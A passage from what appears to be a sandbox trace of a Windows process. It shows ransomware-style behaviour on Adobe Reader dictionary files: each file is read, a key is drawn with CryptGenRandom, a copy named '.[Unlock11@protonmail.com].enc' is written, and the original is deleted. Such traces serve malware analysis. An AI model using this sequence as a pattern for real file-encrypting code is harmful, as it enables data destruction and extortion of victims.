Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\en_GB.dic" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\en_gb.dic")) returned 0x20 [0198.476] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f860 | out: hHeap=0x2ad0000) returned 1 [0198.476] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\hyph_en_GB.dic" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\hyph_en_gb.dic")) returned 0x20 [0198.476] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0878 | out: hHeap=0x2ad0000) returned 1 [0198.477] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881138, Size=0x20) returned 0x33eafd0 [0198.477] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\license.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\license.txt")) returned 0x20 [0198.477] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f470 | out: hHeap=0x2ad0000) returned 1 [0198.477] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\README.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\readme.txt")) returned 0x20 [0198.477] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f500 | out: hHeap=0x2ad0000) returned 1 [0198.478] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\README_en_GB.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\readme_en_gb.txt")) returned 0x20 [0198.478] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0288 | out: hHeap=0x2ad0000) returned 1 [0198.478] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\WordNet_license.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\wordnet_license.txt")) returned 0x20 [0198.478] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0a40 | out: hHeap=0x2ad0000) returned 1 [0198.478] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33eafd0, Size=0x40) returned 0x3887608 [0198.478] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eabc0 | out: hHeap=0x2ad0000) returned 1 [0198.478] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\affDescription.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\affDescription.txt", lpFilePart=0x9bada4*="affDescription.txt") returned 0x8c [0198.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0198.479] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\affDescription.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\affdescription.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x14fa)) returned 1 [0198.479] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679804 | out: pbBuffer=0x3679804) returned 1 [0198.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0198.479] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0198.479] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0198.480] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\affDescription.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\affdescription.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.480] GetFileType (hFile=0x334) returned 0x1 [0198.480] GetFileType (hFile=0x334) returned 0x1 [0198.480] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.480] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.480] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.480] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.480] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.481] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.481] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.481] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\affDescription.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\affdescription.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.481] GetFileType (hFile=0x39c) returned 0x1 [0198.481] GetFileType (hFile=0x39c) returned 0x1 [0198.481] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.482] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.482] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.482] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.482] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.482] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.482] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.485] CloseHandle (hObject=0x39c) returned 1 [0198.488] CloseHandle (hObject=0x334) returned 1 [0198.488] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\affDescription.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\affdescription.txt")) returned 1 [0198.489] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\changelog.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\changelog.txt", lpFilePart=0x9bada4*="changelog.txt") returned 0x87 [0198.489] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\changelog.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\changelog.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fab82a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xc01)) returned 1 [0198.490] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36798a4 | out: pbBuffer=0x36798a4) returned 1 [0198.490] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0198.490] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0198.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0198.490] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\changelog.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\changelog.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.491] GetFileType (hFile=0x334) returned 0x1 [0198.491] GetFileType (hFile=0x334) returned 0x1 [0198.491] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.491] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.491] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.491] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.491] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.491] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.491] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.492] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\changelog.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\changelog.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.492] GetFileType (hFile=0x39c) returned 0x1 [0198.492] GetFileType (hFile=0x39c) returned 0x1 [0198.492] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.492] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.492] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.492] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.493] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.493] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.493] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.495] CloseHandle (hObject=0x39c) returned 1 [0198.495] CloseHandle (hObject=0x334) returned 1 [0198.496] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\changelog.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\changelog.txt")) returned 1 [0198.497] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\en_GB.aff", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\en_GB.aff", lpFilePart=0x9bada4*="en_GB.aff") returned 0x83 [0198.497] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0198.497] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\en_GB.dic", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\en_GB.dic", lpFilePart=0x9bada4*="en_GB.dic") returned 0x83 [0198.497] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0198.497] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\hyph_en_GB.dic", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\hyph_en_GB.dic", lpFilePart=0x9bada4*="hyph_en_GB.dic") returned 0x88 [0198.497] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\license.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\license.txt", lpFilePart=0x9bada4*="license.txt") returned 0x85 [0198.498] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\license.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\license.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c2a)) returned 1 [0198.498] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x362dd04 | out: pbBuffer=0x362dd04) returned 1 [0198.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0198.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0198.498] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0198.498] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\license.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\license.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.499] GetFileType (hFile=0x334) returned 0x1 [0198.499] GetFileType (hFile=0x334) returned 0x1 [0198.499] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.499] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.499] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.499] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.499] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.499] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.499] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.499] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\license.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\license.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.500] GetFileType (hFile=0x39c) returned 0x1 [0198.500] GetFileType (hFile=0x39c) returned 0x1 [0198.500] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.500] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.500] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.500] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.501] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.501] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.501] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.510] CloseHandle (hObject=0x39c) returned 1 [0198.511] CloseHandle (hObject=0x334) returned 1 [0198.511] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\license.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\license.txt")) returned 1 [0198.512] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\README.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\README.txt", lpFilePart=0x9bada4*="README.txt") returned 0x84 [0198.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0198.512] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\README.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa9e)) returned 1 [0198.512] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x362de94 | out: pbBuffer=0x362de94) returned 1 [0198.513] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\README.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.513] GetFileType (hFile=0x334) returned 0x1 [0198.513] GetFileType (hFile=0x334) returned 0x1 [0198.513] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.513] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.513] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.514] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.514] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.514] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.514] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.514] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\README.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\readme.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.514] GetFileType (hFile=0x39c) returned 0x1 [0198.514] GetFileType (hFile=0x39c) returned 0x1 [0198.515] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.515] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.515] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.515] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.515] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.515] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.515] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.538] CloseHandle (hObject=0x39c) returned 1 [0198.539] CloseHandle (hObject=0x334) returned 1 [0198.539] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\README.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\providers\\plugins2\\adobehunspellplugin\\dictionaries\\en_gb\\readme.txt")) returned 1 [0198.540] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common 